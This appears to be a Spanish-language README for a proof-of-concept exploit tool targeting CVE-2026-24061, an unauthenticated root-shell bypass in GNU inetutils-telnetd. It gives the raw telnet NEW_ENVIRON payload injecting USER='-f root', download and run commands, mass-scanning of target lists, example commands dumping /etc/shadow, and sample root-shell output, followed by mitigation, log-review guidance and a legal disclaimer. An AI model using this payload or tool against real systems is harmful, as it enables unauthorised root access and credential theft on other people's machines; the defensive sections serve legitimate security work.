
Proof of Concept: CVE-2026-24061 es una vulnerabilidad crítica de omisión de autenticación en GNU inetutils-telnetd que permite a atacantes remotos no autenticados obtener acceso instantáneo a la shell root mediante la explotación maliciosa de la opción telnet NEW_ENVIRON.
Una herramienta de investigación de seguridad para explotar CVE-2026-24061, una vulnerabilidad crítica de omisión de autenticación remota en GNU inetutils-telnetd que permite acceso instantáneo a un shell root sin autenticación.
| Campo | Valor |
|---|---|
| Identificador CVE | CVE-2026-24061 |
| Puntuación CVSS v3.1 | 9.8 (Crítico) |
| Vector CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Clasificación CWE | CWE-88: Neutralización Incorrecta de Delimitadores de Argumentos en un Comando |
| Proveedor | Proyecto GNU |
| Producto | inetutils-telnetd |
| Fecha de Divulgación | 20 de enero de 2026 |
| Parche Disponible | Por determinar |
Existe una vulnerabilidad crítica en GNU inetutils-telnetd hasta la versión 2.7 que permite a atacantes remotos no autenticados eludir completamente la autenticación y obtener acceso inmediato a un shell root. La vulnerabilidad se explota mediante la opción telnet NEW_ENVIRON, inyectando una variable de entorno USER especialmente manipulada con el valor "-f root", que sortea todos los mecanismos de autenticación.
| Rango de Versiones | Estado |
|---|---|
| <= 2.7 | Vulnerable |
| > 2.7 | Estado del Parche: Por determinar |
La vulnerabilidad se origina por la validación incorrecta de la variable de entorno USER en el manejador de la opción NEW_ENVIRON de telnetd. Al procesar la opción telnet NEW_ENVIRON, el servicio telnetd no sanitiza el valor de la variable USER antes de pasarlo al proceso de inicio de sesión. Al establecer USER en "-f root", el atacante inyecta argumentos de línea de comandos que fuerzan la autenticación exitosa para el usuario root sin necesidad de credenciales.
Todas las dependencias son parte de la librería estándar de Python:
# Clonar el repositorio
git clone https://github.com/sh4den/CVE-2026-24061.git
cd CVE-2026-24061
# Ejecutar el exploit
python3 main.py -u <target_ip>
# Descargar el exploit
curl -O https://raw.githubusercontent.com/sh4den/CVE-2026-24061/main/main.py
# Hacerlo ejecutable (Linux/macOS)
chmod +x main.py
# Ejecutar el exploit
python3 main.py -u <target_ip>
# Asegurarse de que Python 3.7+ está instalado
python3 --version
# Descargar y ejecutar
python3 main.py -u <target_ip>
Uso:
python3 main.py -u <ip_objetivo> [-p <puerto>] [-usr <usuario>]
python3 main.py -l <archivo_objetivos> [-p <puerto>] [-usr <usuario>]
echo "comandos" | python3 main.py -u <ip_objetivo>
Argumentos:
-u Dirección IP o nombre de host de un solo objetivo
-l Ruta al archivo que contiene IPs objetivo (una por línea)
-p Puerto objetivo (por defecto: 23)
-usr Usuario para explotar (por defecto: root)
Explotar una instancia telnetd:
# Explotación básica (puerto 23 por defecto, usuario root)
python3 main.py -u 192.168.1.100
# Puerto personalizado
python3 main.py -u 192.168.1.100 -p 2323
# Usuario diferente
python3 main.py -u 192.168.1.100 -usr admin
Ejecutar comandos de forma no interactiva:
# Comando único
echo "id; whoami; uname -a" | python3 main.py -u 192.168.1.100
# Múltiples comandos
echo "cat /etc/passwd; cat /etc/shadow" | python3 main.py -u 192.168.1.100
# Comando con redirección de salida
echo "ps aux > /tmp/processes.txt" | python3 main.py -u 192.168.1.100
Explotar múltiples objetivos desde un archivo:
python3 main.py -l objetivos.txt
python3 main.py -l objetivos.txt -p 2323
python3 main.py -l objetivos.txt -usr admin
Formato del Archivo de Objetivos (objetivos.txt):
192.168.1.100
192.168.1.101
10.0.0.50
172.16.0.25
telnet.example.com
Notas:
╔═══════════════════════════════════════════════════════════════╗
║ CVE-2026-24061 - GNU inetutils-telnetd Auth Bypass ║
║ ║
║ CVSS Score: 9.8 (Critical) ║
║ Impact: Remote Authentication Bypass - Instant Root Shell ║
║ ║
║ This tool is part of the HGrab Framework. ║
╚═══════════════════════════════════════════════════════════════╝
[2026-01-23 14:32:15] [INFO] Target: 192.168.1.100:23, User: root
[2026-01-23 14:32:15] [SUCCESS] Connected to 192.168.1.100:23
[2026-01-23 14:32:15] [EXPLOIT] Sent payload: USER='-f root'
[2026-01-23 14:32:15] [INFO] Interactive mode - type commands
# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root
El exploit aprovecha la fase de negociación del protocolo telnet:
# Telnet IAC (Interpret As Command) = 255
# SB (Subnegotiation Begin) = 250
# SE (Subnegotiation End) = 240
# NEW_ENVIRON option = 39
payload = bytes([
255, # IAC
250, # SB
39, # NEW_ENVIRON
0, # IS
0, # VAR
]) + b"USER" + bytes([1]) + b"-f root" + bytes([
255, # IAC
240 # SE
])
select.select() para monitoreo simultáneo de socket y stdinDeshabilitar telnetd: Detener y deshabilitar el servicio telnetd inmediatamente
# Sistemas basados en systemd
sudo systemctl stop telnetd
sudo systemctl disable telnetd
# Sistemas basados en xinetd
sudo service xinetd stop
sudo chkconfig telnet off
Reglas de Firewall: Bloquear el puerto telnet (23) a nivel de firewall
# iptables
sudo iptables -A INPUT -p tcp --dport 23 -j DROP
# firewalld
sudo firewall-cmd --permanent --remove-service=telnet
sudo firewall-cmd --reload
Aislamiento de Red: Eliminar el servicio telnet de sistemas expuestos a internet
Usar SSH en lugar de Telnet:
# Instalar servidor OpenSSH
sudo apt-get install openssh-server # Debian/Ubuntu
sudo yum install openssh-server # RHEL/CentOS
# Habilitar e iniciar SSH
sudo systemctl enable sshd
sudo systemctl start sshd
# Verificar que telnetd no esté ejecutándose
sudo netstat -tlnp | grep :23
sudo ss -tlnp | grep :23
# No debería devolver resultados si está correctamente deshabilitado
Revisar los registros del sistema para los siguientes patrones:
Registros de Autenticación:
# Buscar patrones de inicio de sesión inusuales
sudo grep telnetd /var/log/auth.log
sudo grep telnetd /var/log/secure
# Buscar variables de entorno USER sospechosas
sudo grep "USER.*-f" /var/log/auth.log
Registros de Red:
# Verificar conexiones telnet activas
sudo netstat -antp | grep :23
# Revisar inicios de sesión root recientes
sudo last | grep root
# Verificar archivos del sistema modificados
sudo rpm -Va # RHEL/CentOS
sudo debsums -c # Debian/Ubuntu
# Listar procesos de root
sudo ps aux | grep root
# Verificar claves SSH no autorizadas
sudo cat /root/.ssh/authorized_keys
IMPORTANTE: LEER ANTES DE USAR
Esta herramienta se proporciona estrictamente para:
Usos Prohibidos:
Responsabilidad: Los autores, colaboradores y distribuidores de este software NO asumen ninguna responsabilidad por el mal uso, daños o actividades ilegales realizadas con esta herramienta. Los usuarios son los únicos responsables de:
Aviso Legal: El acceso no autorizado a sistemas informáticos es un delito grave. Las infracciones pueden dar lugar a procesos judiciales conforme a:
Las penalizaciones pueden incluir prisión, multas sustanciales y responsabilidad civil.
Al usar esta herramienta, usted reconoce que ha leído, entendido y acepta cumplir con este aviso legal y todas las leyes aplicables.
| Versión | Fecha | Cambios |
|---|---|---|
| 1.0.0 | 2026-01-23 | Lanzamiento inicial |
Para preguntas, problemas o contribuciones:
Este proyecto se proporciona tal cual para fines autorizados de investigación en seguridad y educativos únicamente. No se proporciona ninguna garantía, expresa o implícita. Úselo bajo su propio riesgo y de acuerdo con todas las leyes y regulaciones aplicables.
USE SOLO CON LA DEBIDA AUTORIZACIÓN
| Paquete | Propósito |
|---|
| socket | Comunicación de red |
| select | Multiplexación E/S |
| sys | Interacción con el sistema |
| os | Interfaz del sistema operativo |
| threading | Explotación concurrente de objetivos |
| datetime | Formato de marcas de tiempo |
| Indicador | Color | Descripción |
|---|
[SUCCESS] | Verde | Conectado exitosamente al objetivo |
[EXPLOIT] | Verde | Payload de explotación enviado exitosamente |
[INFO] | Azul | Mensaje informativo sobre la operación actual |
[ERROR] | Rojo | Error de conexión, tiempo de espera o error de explotación |
[WARNING] | Amarillo | Mensaje de advertencia (no se usa actualmente) |
| Acción | Prioridad | Descripción |
|---|
| Migración a SSH | Crítica | Reemplazar telnet por SSH para acceso remoto |
| Gestión de Parches | Crítica | Monitorear y aplicar actualizaciones de seguridad |
| Auditoría de Servicios | Alta | Identificar y deshabilitar servicios de red innecesarios |
| Segmentación de Red | Alta | Aislar sistemas críticos de redes públicas |
| Detección de Intrusiones | Media | Implementar IDS/IPS para detectar intentos de explotación |
| Control de Acceso | Media | Implementar listas blancas de IP para servicios remotos |